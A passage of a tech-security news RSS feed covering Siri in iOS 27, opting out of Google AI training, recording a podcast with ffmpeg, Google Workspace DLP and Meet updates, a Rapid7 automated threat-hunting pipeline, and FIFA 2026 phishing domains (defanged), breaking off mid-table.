Traditional voice assistants mostly responded to simple commands. In iOS 27, Siri AI understands context, remembers relevant information, recognizes on-screen content, and performs actions across apps. Apple is positioning Siri as a more capable assistant that can help manage tasks instead of simply answering questions. 



Wrap Up



The personal context feature is one of the most important Siri upgrades in iOS 27. By understanding information from your messages, emails, notes, contacts, and calendar, Siri AI can provide more relevant answers and help complete tasks faster. Combined with on-screen awareness and cross-app actions, Siri is becoming a much more useful part of the iPhone experience.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to opt out of Google’s new AI training default]]></title>
<description><![CDATA[Heads-up, my fellow Android-appreciating animals: Google’s in the midst of rolling out a subtle change to its privacy settings that’s well worth your while to notice.



The change includes a new clause that says the company can use images, files, video, and audio from your interactions with Goog...]]></description>
<link>https://tsecurity.de/de/3590050/ai-nachrichten/how-to-opt-out-of-googles-new-ai-training-default/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3590050/ai-nachrichten/how-to-opt-out-of-googles-new-ai-training-default/</guid>
<pubDate>Thu, 11 Jun 2026 11:49:01 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Heads-up, my fellow Android-appreciating animals: Google’s in the midst of rolling out a subtle change to its privacy settings that’s well worth your while to notice.</p>



<p>The change includes a new clause that says the company can use images, files, video, and audio from your interactions with <a href="https://www.computerworld.com/article/1635589/google-lens-android.html">Google Lens</a>, Search, and Gemini Live to train and improve its AI models.</p>



<p>By default, that switch will soon be on and active for your account.</p>



<p>But with about 20 seconds of one-time effort, you can opt out and flip it off (both literally and metaphorically, if you’re so inclined) once and for all.</p>



<p>Lemme show ya how.</p>



<p><strong>[Get level-headed knowledge in your inbox with </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>my free Android Intelligence newsletter</strong></a><strong>. Something new and useful every Friday — from my keyboard to your email.] </strong></p>



<h2 class="wp-block-heading"><strong>Google’s new AI training privacy default</strong></h2>



<p>First things first — the nature of the change: According to Google, starting in the next few days, a new “Search Services History” section within the general <a href="https://www.computerworld.com/article/1615305/11-steps-to-smarter-google-account-security.html">Google account settings</a> will lead to a significant-seeming policy shift. As per an email the company sent out to users this week:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Your media [will now be] saved when Search Services History is on. Saved media includes your images, files, audio, and video from your interactions with Search services to help improve your experience. … Your saved media is also used to develop and improve Google services and technologies, including AI models and safety measures.</p>
</blockquote>



<p>Riiiiiiiiiiight.</p>



<p>Now, to its credit, Google <a href="https://support.google.com/websearch/answer/17025248?sjid=8430273198043696253-NC" target="_blank" rel="noreferrer noopener">does say</a> the data will never be associated with your account or identity once it’s used for these purposes, and it’ll rely on “filters” to “automatically remove a broad range of identifying info or sensitive personal information.” But still, whether you’re working with important corporate info or simply put off by the idea of your personal media being fed into the AI training machine, this may be news you aren’t exactly thrilled to hear.</p>



<p>If you’re <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">finding AI increasingly creepy</a> or you’re just not so keen on knowing whatever media you submit to search-related services will be used to train and develop AI for the future, now’s the time to proactively speak up and change your Google account settings to shut down this setup before it begins.</p>



<p>That, unfortunately, is where things get <em>slightly</em> complicated — ’cause for most of us, this new Search Services History section doesn’t seem to be present and available just yet.</p>



<p>But that doesn’t mean you’re plum out of luck.</p>



<h2 class="wp-block-heading"><strong>Your 20-second opt-out roadmap</strong></h2>



<p>To start on your AI training opt-out adventure, make sure you’re signed into whatever Google account you rely on for work and/or personal purposes, then head to the <a href="https://myactivity.google.com/activitycontrols" target="_blank" rel="noreferrer noopener"><strong>Google Activity Controls page</strong></a> and see if <em>you</em> see a section there called “Search Services History.”</p>



<p>If you <em>do</em>, this is especially easy for you: Just use the option right then and there to disable the “Save Media” setting within that section, which will stop any media files from being saved and used without eliminating the <em>entire</em> history of things you’ve searched. (If you’d rather eliminate <em>all</em> of your Google Search history from being saved and used even for your own future discovery and recommendations, you can also opt to turn that entire section off. Just be aware that it may have some wide-reaching effects on the personalization you see across a lot of Google services.)</p>



<p>If you <em>don’t</em> see that section — and, again, that appears to be the case for most of us at this point — you’ve got two options for the moment:</p>



<ol class="wp-block-list">
<li>You can completely disable <em>all</em> of “Web &amp; App Activity.” Google says if you do this, once your account transitions over to the new approach, all of those “Search Services History” settings will stay off as well. Just be aware that doing so will prevent any and all search history from being saved for you from here on out — which, again, means you won’t be able to revisit your search history yourself and won’t see suggestions and personalization based on past searches throughout Google apps in the future.</li>



<li>If you want to avoid entirely eliminating all of your search history, you can for now uncheck the boxes only for “Include voice and audio activity” and “Include Visual Search History.” That’ll stop search-related media from being saved to your Google account for the time being — though I’d also suggest setting yourself a reminder to look back at <a href="https://myactivity.google.com/activitycontrols" target="_blank" rel="noreferrer noopener">that same page</a> once a week or so until you see “Search Services History” appear and can confirm that “Save Media” is unchecked as a result of that previous preference. Right now, Google isn’t <em>explicitly</em> saying that such a preference will carry over, so I’d put it on yourself to double-check and make sure (and then make the needed adjustment in the new interface, if not).</li>
</ol>



<p>The choice is ultimately 100% yours — but in this case, it’s up to <em>you</em> to take action and opt <em>yourself </em>out if you aren’t comfortable with the default. It’s an unfortunate position to be put in, but now you at least know what’s happening and how you can make your <em>own </em>decision to take back control.</p>



<p><em>Find the tips and tools that’ll *actually* help you with </em><a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><em>. No hype, no nonsense — just useful new stuff in your inbox every Friday, from one (alleged) human to another.</em> </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siri App in iOS 27: Chat History is Synced via iCloud]]></title>
<description><![CDATA[Apple’s new Siri app brings a major change to how users continue conversations across devices. With conversation history synced via iCloud, Siri can now keep past chats available on iPhone, iPad, Mac, and other supported Apple devices, making the assistant feel more consistent and useful.



The ...]]></description>
<link>https://tsecurity.de/de/3589486/ios-mac-os/siri-app-in-ios-27-chat-history-is-synced-via-icloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3589486/ios-mac-os/siri-app-in-ios-27-chat-history-is-synced-via-icloud/</guid>
<pubDate>Thu, 11 Jun 2026 06:14:33 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s new Siri app brings a major change to how users continue conversations across devices. With conversation history synced via iCloud, Siri can now keep past chats available on iPhone, iPad, Mac, and other supported Apple devices, making the assistant feel more consistent and useful.



The new Siri app gives Apple’s assistant a proper home instead of keeping it only as a voice pop-up. Users can return to earlier questions, continue a previous request, and review useful answers without having to start from scratch each time.



iCloud syncing helps Siri maintain context across Apple devices while keeping the experience tied to the user’s Apple Account. This fits Apple’s broader push toward a more personal Siri with stronger app awareness, personal context, and Apple Intelligence support.



With saved conversations, Siri becomes closer to a modern AI assistant that remembers ongoing tasks, research, and follow-up questions across devices.]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4659: Command Line Fun - Recording a show]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


In this episode Kevie does a step-by-step approach to record an episode of HPR using the FFMPEG tool on the Linux command line.






Before beginning please ensure that FFMPEG is installed, it is available in the vast majority of Linux reposi...]]></description>
<link>https://tsecurity.de/de/3589227/podcasts/hpr4659-command-line-fun-recording-a-show/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3589227/podcasts/hpr4659-command-line-fun-recording-a-show/</guid>
<pubDate>Thu, 11 Jun 2026 02:02:07 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
In this episode Kevie does a step-by-step approach to record an episode of HPR using the FFMPEG tool on the Linux command line.</p>

<p>

</p>

<p>
Before beginning please ensure that FFMPEG is installed, it is available in the vast majority of Linux repositories.</p>

<p>

</p>

<p>
Start by making a new folder to keep all your files in and move into the new folder (these will be numerous by the end of your recording):</p>

<pre data-language="plain">
mkdir Podcast
cd Podcast
</pre>

<p>
To start recording audio use the command:</p>

<pre data-language="plain">
ffmpeg -f pulse -i default file01.flac
</pre>

<p>
and finish the recording by pressing ctrl+c. I would recommend recording a test piece of audio to ensure that you are recording from your desired microphone and that the levels are to your liking. </p>

<p>

</p>

<p>
To listen to the audio file we use ffplay:</p>

<pre data-language="plain">
ffplay file01.flac
</pre>

<p>

</p>

<p>
Once all of the files have been recorded, to reduce the need for editing I would recommend recording several short segments, we need to put these together using:</p>

<pre data-language="plain">
ffmpeg -i file01.flac -i file02.flac -i file03.flac -i file04.flac -i file05.flac -filter_complex "[0:a][1:a][2:a][3:a][4:a]concat=n=5:v=0:a=1" filedone.flac 
</pre>

<p>
Not that the number of sets squared brackets [] should be the same as the number of files (these start at zero) and the number after n= should be the actual number of files you wish to combine.</p>

<p>

</p>

<p>
To remove any extended periods of silence then we can use:</p>

<pre data-language="plain">
ffmpeg -i filedone.flac -af silenceremove=stop_periods=-1:stop_duration=1:stop_threshold=-45dB filefinished.flac
</pre>

<p>
Please note that this is a bit flaky at the time of recording (my results have been mixed) and it will re-encode the audio file so never do this with a lossy file such as ogg or mp3 as this will reduce the quality, keep this for lossless versions such as flac or wav files.</p>

<p>

</p>

<p>
If you want to spend a bit more time editing the files and getting a better final audio file then the most effective way (but not quick) is to trim the audio from the end and beginning. Listen to the audio files and note the times of any periods of silence. As these normally are at the beginning and end, especially when we are recording in short segments then I will limit the instructions to avoid these becoming silly in length.</p>

<p>

</p>

<p>
Firstly clip off the end silences first, if you start with the beginning then it will change the starting position of the end silences. To remove audio from the end of a track use:</p>

<pre data-language="plain">
ffmpeg -i file01.flac -vn -acodec copy -to 00:01:30 file01cut.flac
</pre>

<p>
In this example anything after 1 minute and 30 seconds will be removed. The edited audio file will then be saved as file01cut.flac. This method does not re-encode the audio so there is no loss of quality.</p>

<p>

</p>

<p>
To remove audio from the start of a track use:</p>

<pre data-language="plain">
ffmpeg -ss 30 -i file01.flac -c copy file01cut.flac
</pre>

<p>
In the above example the first 30 seconds of the file will be removed and saved as file01cut.flac</p>

<p>

</p>

<p>
Once you have edited each audio file then they will need to be merged together again to make a complete show.</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4659/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Data loss prevention policies for Google Calendar now available in GA]]></title>
<description><![CDATA[Data loss prevention (DLP) for Google Calendar is now generally available to protect sensitive information shared within event details. Previously available in beta, this feature allows you to create and apply data protection rules that scan calendar event titles, descriptions, and locations for ...]]></description>
<link>https://tsecurity.de/de/3589206/web-tipps/data-loss-prevention-policies-for-google-calendar-now-available-in-ga/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3589206/web-tipps/data-loss-prevention-policies-for-google-calendar-now-available-in-ga/</guid>
<pubDate>Thu, 11 Jun 2026 01:54:41 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Data loss prevention (DLP) for Google Calendar is now generally available to protect sensitive information shared within event details. Previously <a href="https://workspaceupdates.googleblog.com/2026/02/data-loss-prevention-policies-for.html" target="_blank">available in beta</a>, this feature allows you to create and apply data protection rules that scan calendar event titles, descriptions, and locations for sensitive content, such as credit card numbers or national identification numbers.<div><br></div><div><b>Key functionalities include:</b></div><div><br></div><div><ul><li><b>Choice of actions: </b>Admins can choose to <b>audit</b> when an event is saved with sensitive content, <b>warn</b> users about sensitive content in their event, or <b>block</b> event creation or updates if a DLP policy is violated.</li><li><b>Event details:</b> DLP rules scan free-text fields in the event, including the event’s title, description, and location fields.</li><li><b>Owner-based policies: </b>Rules are applied based on the organizational unit (OU) of the owner (event organizer on primary calendars or calendar owner on secondary calendars), consistent with other <a href="https://support.google.com/a?p=dlp_calendar" target="_blank">Workspace DLP</a> configurations.</li><li><b>User notifications:</b> With DLP policies for Calendar, users receive immediate feedback when sensitive data is detected. On the web, users see a pop-up notification explaining the issue. Admins can also customize this message with more specific details. If a meeting update is blocked on Android, iOS, or via the Calendar API, the user will receive an automated email notification explaining the policy violation and why changes to the meeting invite were not successful.</li></ul></div><h3>Getting started</h3><div><ul><li><b>Admins: </b>The feature will be OFF by default and can be enabled at the organizational unit (OU) or group level. Visit the Help Center to <a href="https://support.google.com/a?p=dlp_calendar" target="_blank">learn more about DLP for Calendar</a>.</li><li><b>End users: </b>There is no end user setting for this feature.</li></ul><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_GEE9rC961AGq_8wcrUc20ufbmU2zSefFO3E0lCZBv4HEN3cRHQONffWBXPNI2IhWE8jO3LT6xdU4XQ__O3Yn6nn-NUMGpxlRkgJM251JsymzP4kjyk6hkmO4UXAyE1_kEb-RpaNorBq6ZTDJt9S0pUhlQicHiobadAQj9NayqhwuzPFb07yc0FGhiM0/s2048/Data%20loss%20prevention%20policies%20for%20Google%20Calendar%20now%20available%20in%20GA%20-%206121.png"><img border="0" data-original-height="1324" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_GEE9rC961AGq_8wcrUc20ufbmU2zSefFO3E0lCZBv4HEN3cRHQONffWBXPNI2IhWE8jO3LT6xdU4XQ__O3Yn6nn-NUMGpxlRkgJM251JsymzP4kjyk6hkmO4UXAyE1_kEb-RpaNorBq6ZTDJt9S0pUhlQicHiobadAQj9NayqhwuzPFb07yc0FGhiM0/s16000/Data%20loss%20prevention%20policies%20for%20Google%20Calendar%20now%20available%20in%20GA%20-%206121.png"></a></td></tr><tr><td class="tr-caption"><i>DLP settings in the admin console to configure policies for sensitive data, including actions and alerts when creating Calendar events</i></td></tr></tbody></table><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJZo_pJaC0r1qn6_-MzyauhxHARtYLAJ6YHusVEZYZC0gMTbwiVe1sKCep4rngpnFtXM4tCvrHFccKWV7z4TnAHclnokwMs-ezsAldtGSszzxboDgTXQ61ncaU0UCHsAdtQc6Xk64q2PHTnaRblErrR7iufBNcm-wg-Dsi1p5Ri_oot_1gKyVkBidGxyI/s2048/Data%20loss%20prevention%20policies%20for%20Google%20Calendar%20now%20available%20in%20GA%20-%206121%20-%202.png"><img border="0" data-original-height="1321" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJZo_pJaC0r1qn6_-MzyauhxHARtYLAJ6YHusVEZYZC0gMTbwiVe1sKCep4rngpnFtXM4tCvrHFccKWV7z4TnAHclnokwMs-ezsAldtGSszzxboDgTXQ61ncaU0UCHsAdtQc6Xk64q2PHTnaRblErrR7iufBNcm-wg-Dsi1p5Ri_oot_1gKyVkBidGxyI/s16000/Data%20loss%20prevention%20policies%20for%20Google%20Calendar%20now%20available%20in%20GA%20-%206121%20-%202.png"></a></td></tr><tr><td class="tr-caption"><i>An end user is prompted with a message asking them to remove sensitive information</i></td></tr></tbody></table></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on June 3, 2026</li></ul></div><h3>Availability</h3><div><ul><li><b>Enterprise:</b> Enterprise Standard and Plus</li><li><b>Education:</b> Education Fundamentals, Standard, and Plus</li><li><b>Other Editions:</b> Enterprise Essentials; Frontline Standard and Plus</li></ul></div><h3>Resources</h3><div><ul><li>Google Workspace Admin Help: <a href="https://support.google.com/a?p=dlp_calendar" target="_blank">About DLP for Calendar</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Meet now supports sending 1080p HD video from ChromeOS meeting room hardware]]></title>
<description><![CDATA[We previously launched support for sending full HD video (1080p) in Meet on the web, and we’re now extending that capability to Google Meet room hardware based on ChromeOS.Google Meet will use full HD when the additional bandwidth is needed for sharp video from the room, such as:On large screens:...]]></description>
<link>https://tsecurity.de/de/3589199/web-tipps/google-meet-now-supports-sending-1080p-hd-video-from-chromeos-meeting-room-hardware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3589199/web-tipps/google-meet-now-supports-sending-1080p-hd-video-from-chromeos-meeting-room-hardware/</guid>
<pubDate>Thu, 11 Jun 2026 01:54:32 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We previously launched <a href="https://workspaceupdates.googleblog.com/2024/06/google-meet-full-hd-meeting-recordings-and-more-devices.html" target="_blank">support for sending full HD video (1080p) in Meet on the web</a>, and we’re now extending that capability to Google Meet room hardware based on ChromeOS.<div><br></div><div>Google Meet will use full HD when the additional bandwidth is needed for sharp video from the room, such as:</div><div><br></div><div><ul><li><b>On large screens: </b>When others in the call are viewing the room on large monitors or TVs with a layout that makes 1080p necessary, such as full-screen views in Spotlight mode, 1:1 calls or dual-screen rooms. 
​</li><li><b>When someone pins your video: </b>If a person in the meeting "pins" the room, Meet will send the highest available quality.</li><li><b>​When the meeting is being recorded:</b> Recorded meetings use full HD from the room for the saved meeting video.</li></ul></div><div>​Full HD is available from devices that use a high-resolution camera and can handle the additional processing over a fast, stable internet connection. Meet will continue to automatically adjust video quality downwards if network constraints are detected to ensure a smooth meeting experience.</div><h3>Getting started</h3><div><ul><li><b>Admins:</b> There is no admin control for this feature.</li><li><b>End users:</b> There is no end user setting for this feature; the upgrade happens seamlessly in the background when conditions are met.</li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Available now</li></ul></div><h3>Availability</h3><div><ul><li>Available to all Google Workspace customers with Google Meet hardware devices</li></ul></div><h3>Resources</h3><div><ul><li>Google Meet Help: <a href="https://support.google.com/meet/answer/9292748" target="_blank">Learn how to view people in Google Meet</a></li><li>Google Meet Help: <a href="https://support.google.com/meet/answer/7501121" target="_blank">Pin or mute Google Meet participants</a></li><li>Google Meet hardware Help: <a href="https://support.google.com/meethardware/answer/9295022" target="_blank">Adjust your view of meeting participants in a Meet hardware room</a></li><li>Google Meet hardware Help: <a href="https://support.google.com/meethardware/answer/14806229" target="_blank">Google Meet hardware certification program for ChromeOS peripherals &amp; devices</a></li><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/admin/meet/prepare-your-network-for-meet-meetings-and-live-streams" target="_blank">Prepare your network for Meet meetings &amp; live streams</a></li><li>Google Workspace Updates Blog: <a href="https://workspaceupdates.googleblog.com/2024/06/google-meet-full-hd-meeting-recordings-and-more-devices.html" target="_blank">Google Meet now supports high definition video for meeting recording and devices</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Automated Threat Hunting: Turning Threat Intelligence into Executable Hunt Plans]]></title>
<description><![CDATA[Blake McDermott is Senior Threat Hunter at Rapid7.Every week, threat hunt teams are faced with a steady flow of blogs, advisories, and DFIR reports containing valuable intelligence about adversary behaviors, tactics, techniques, and procedures. The challenge is turning that intelligence into repe...]]></description>
<link>https://tsecurity.de/de/3588412/it-security-nachrichten/automated-threat-hunting-turning-threat-intelligence-into-executable-hunt-plans/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3588412/it-security-nachrichten/automated-threat-hunting-turning-threat-intelligence-into-executable-hunt-plans/</guid>
<pubDate>Wed, 10 Jun 2026 18:57:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>Blake McDermott is Senior Threat Hunter at Rapid7.</em></p><p><span>Every week, threat hunt teams are faced with a steady flow of blogs, advisories, and DFIR reports containing valuable intelligence about adversary behaviors, tactics, techniques, and procedures. The challenge is turning that intelligence into repeatable, behavior-based hunting logic quickly enough to be useful. Indicators of compromise still have value, but they age quickly. Behavioral detections give defenders a better way to look for how attackers operate, rather than relying only on what they leave behind.</span></p><p><span>To help solve this, Rapid7’s Internal Security team built an automated threat hunting pipeline that transforms threat intelligence reporting into structured, executable hunt plans. The pipeline uses large language models to extract adversary behaviors, map them to MITRE ATT&amp;CK techniques, generate detection queries across multiple tools, and support analyst-ready briefings in minutes rather than days.</span></p><h2>Why manual threat hunting does not scale</h2><p><span>A single threat intelligence report can describe dozens of adversary behaviors across multiple ATT&amp;CK techniques. Translating that report into useful hunt logic often requires an analyst to read the full source, identify relevant behaviors, map them to ATT&amp;CK, write queries for each security tool, validate syntax, execute searches, and triage the results.</span></p><p><span>For a report covering 40 to 50 techniques, that process can consume much of a working week. When multiple high-quality reports land at once, manual hunting quickly becomes unsustainable. The goal of this project was to reduce the mechanical work involved in building hunt plans, while keeping analysts in control of validation, interpretation, and decision-making.</span></p><h2>How the automated threat hunting pipeline works</h2><p><span>The pipeline runs in four stages, each designed to be inspectable, repeatable, and easy for analysts to refine over time.</span></p><h3>Stage 1: Threat intelligence ingestion</h3><p><span>The pipeline accepts a threat intelligence blog or report via URL or pasted text. It extracts the core article body, removes navigation and boilerplate content, and validates the material to ensure there is enough substance for analysis. This creates a clean input for the model and reduces the risk of irrelevant page content influencing the output.</span></p><h3>Stage 2: ATT&amp;CK technique extraction</h3><p><span>The cleaned content is then sent to a large language model with a structured prompt that instructs it to act as a MITRE ATT&amp;CK analyst. The model identifies adversary techniques referenced in the report and returns each one with its technique ID, technique name, tactic category, and a short summary of how the threat actor used it.</span></p><p><span>The prompt is tuned to focus on offensive behaviors and adversary tradecraft. Defensive recommendations, control guidance, and mitigation strategies are excluded from this specific workflow so the output reflects what the attacker did, rather than what defenders should implement in response. That focus helps preserve the hunting value of the source material while leaving room for separate workflows that generate defensive recommendations or control improvements.</span></p><p><span>For example, when applied to a Rapid7 threat research report on </span><a href="https://www.rapid7.com/blog/post/tr-bpfdoor-telecom-networks-sleeper-cells-threat-research-report" target="_self"><span>BPFdoor activity in telecom networks</span></a><span>, the pipeline identified 16 techniques across seven ATT&amp;CK tactics, including Initial Access, Persistence, Defense Evasion, Credential Access, Collection, Command and Control, and Execution. That structured extraction became the foundation for a hunt plan with detection coverage across InsightIDR, Velociraptor, and Sigma, giving analysts a faster path from source intelligence to behavior-based hunting logic.</span></p><h3>Stage 3: Detection query generation</h3><p><span>For each identified technique, the pipeline generates detection content across several tools and formats. This includes LEQL queries for InsightIDR, targeting activity such as process execution, authentication events, network connections, and file modifications. It also includes Velociraptor VQL queries and artifact recommendations for live host interrogation, Sigma rules that can be shared across teams or converted into other SIEM formats, and YARA rules where relevant.</span></p><p><span>Every generated query is reviewed by an analyst before use. LLMs can accelerate drafting and reduce repetitive work, but analyst validation remains essential for accuracy, syntax, and operational fit.</span></p><h3>Stage 4: Hunt plan assembly</h3><p><span>The pipeline assembles a structured markdown hunt plan organized by ATT&amp;CK tactic. Each report includes an executive summary, an IOC sweep section when indicators are present, and a behavioral hunting section containing generated queries in fenced code blocks with clear explanations of what each query is designed to detect. This gives analysts a consistent output they can inspect, edit, execute, and reuse.</span></p><h2>Building a reusable detection query library</h2><p><span>A key design decision was the introduction of a persistent query cache. Each technique’s generated queries are saved as standalone markdown files, creating a growing library of reusable detection content.</span></p><p><span>This cache reduces cost and execution time because techniques seen in previous reports can be loaded from the library rather than regenerated. It also creates a practical feedback loop: analysts can correct, tune, and improve cached queries over time, and those improvements persist across future hunt plans.</span></p><p><span>By tracking which reports and campaigns reference each technique, the team can build an organic view of recurring adversary behavior and identify which techniques appear across multiple actors or campaigns. Over time, this helps narrow the focus to behaviors most relevant to the environment, providing useful context.</span></p><h2>Executing hunts and analyzing results</h2><p><span>Once a hunt plan has been reviewed and validated, a separate process executes approved queries against InsightIDR. Results are then parsed and summarized into a briefing that highlights which queries returned results, why those results may matter, which findings may require immediate investigation, and how the activity relates to the threat actor’s known tradecraft.</span></p><p><span>Analysts can then ask follow-up questions conversationally, such as which findings should be prioritized, which hosts or users require deeper review, or how results should be interpreted based on risk.</span></p><p><span>Velociraptor queries are still executed manually because of the level of access involved. Given the potential impact of live host interrogation, the team made the deliberate decision to keep that execution under direct analyst control.</span></p><h2>Practical use cases for automated threat hunting</h2><p><span>The pipeline has already proven useful across several hunting scenarios: For advanced threat actor reporting, it can process DFIR reports and APT advisories to quickly determine whether known tradecraft appears in the environment. For insider threat hunting, it can be adapted to focus on data movement, anomalous access patterns, staging, and exfiltration behaviors. For security hardening, it can process reports about common persistence mechanisms and misconfigurations to validate whether the environment is exposed to known attack paths.</span></p><p><span>Across each use case, the value comes from shortening the path between intelligence and action.</span></p><h2>Automating the repetitive work, not the expertise</h2><p><span>By automating the repetitive work of reading reports, mapping techniques, and drafting queries, analysts can spend more time interpreting results, understanding context, and making decisions. The pipeline turns a daily flood of threat intelligence into structured, queryable, and continuously improving detection content. What previously required hours or days of manual effort can now be completed in minutes, while the underlying library compounds in value with every report processed.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[FIFA World Cup 2026 Scams Are Already Active: Fake Domains, Phishing Sites, and How to Stay Safe]]></title>
<description><![CDATA[The FIFA World Cup 2026 kicks off on June 11, and the world's biggest sporting event is drawing more than just fans — it is already attracting a wave of cybercriminals targeting ticket buyers, job seekers, streaming viewers, and corporate brands alike. 


The FBI has issued a formal Public Servic...]]></description>
<link>https://tsecurity.de/de/3587597/it-security-nachrichten/fifa-world-cup-2026-scams-are-already-active-fake-domains-phishing-sites-and-how-to-stay-safe/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587597/it-security-nachrichten/fifa-world-cup-2026-scams-are-already-active-fake-domains-phishing-sites-and-how-to-stay-safe/</guid>
<pubDate>Wed, 10 Jun 2026 14:26:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1200" height="600" src="https://cyble.com/wp-content/uploads/2026/06/FIFA-World-Cup-2026-Scams.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="FIFA World Cup 2026 Scams" decoding="async" srcset="https://cyble.com/wp-content/uploads/2026/06/FIFA-World-Cup-2026-Scams.webp 1200w, https://cyble.com/wp-content/uploads/2026/06/FIFA-World-Cup-2026-Scams-300x150.webp 300w, https://cyble.com/wp-content/uploads/2026/06/FIFA-World-Cup-2026-Scams-1024x512.webp 1024w, https://cyble.com/wp-content/uploads/2026/06/FIFA-World-Cup-2026-Scams-768x384.webp 768w" sizes="(max-width: 1200px) 100vw, 1200px" title="FIFA World Cup 2026 Scams Are Already Active: Fake Domains, Phishing Sites, and How to Stay Safe 1"></p>
<p><!-- wp:paragraph --></p>
<p>The FIFA World Cup 2026 kicks off on June 11, and the world's biggest sporting event is drawing more than just fans — it is already attracting a wave of cybercriminals targeting ticket buyers, job seekers, streaming viewers, and corporate brands alike. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The FBI has issued a formal Public Service Announcement warning that threat actors are creating fraudulent versions of FIFA-affiliated websites to steal personal information, conduct financial fraud, and sell fake products and services. Cyble researchers independently analyzed the domains flagged by the FBI and confirmed that many remained active and operational at the time of publishing this report. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>With 48 teams, 16 host cities across the United States, Canada, and Mexico, and an estimated global audience of billions, the FIFA World Cup 2026 is set to be the largest men's World Cup in history. That scale is precisely why <a href="https://cyble.com/knowledge-hub/who-is-a-cybercriminal/" target="_blank" rel="noreferrer noopener">cybercriminals</a> are prying on it — and why the threat is arriving earlier and more aggressively than in previous tournaments. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>How FIFA World Cup 2026 Scams Work</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The FBI warns that threat actors are building fraudulent versions of FIFA's official website, www.fifa.com, designed to closely mimic the legitimate experience. These sites are engineered to collect personally identifiable information (PII), including full names, home addresses, phone numbers, email addresses, banking information, and payment card details. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The same fraudulent infrastructure is used to run a range of operations simultaneously: FIFA ticket scams, fake hospitality package sales, fraudulent job listings, and other forms of financial fraud. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The most common technical method is <strong>typosquatting</strong> — registering domains with subtle spelling changes or different extensions that trick users into believing they have landed on an official page. A single missing letter, a swapped extension, or a hyphenated variant can be enough to deceive even vigilant users, especially when the site is dressed with FIFA branding, tournament schedules, and professional-looking navigation menus. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The FBI flagged the following domains as fraudulent FIFA-related sites: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td> </td>
<td> </td>
</tr>
<tr>
<td>www.fifa[.]cab </td>
<td>www.fifa[.]pink </td>
</tr>
<tr>
<td>www.fifa[.]blue </td>
<td>www.fifa[.]pub </td>
</tr>
<tr>
<td>FIFA[.]city </td>
<td>Fifa[.]bio </td>
</tr>
<tr>
<td>fifa[.]beer </td>
<td>fifa[.]click </td>
</tr>
<tr>
<td>fifa[.]cam </td>
<td>fifa[.]ceo </td>
</tr>
<tr>
<td>fifa[.]help </td>
<td>filfa[.]org </td>
</tr>
<tr>
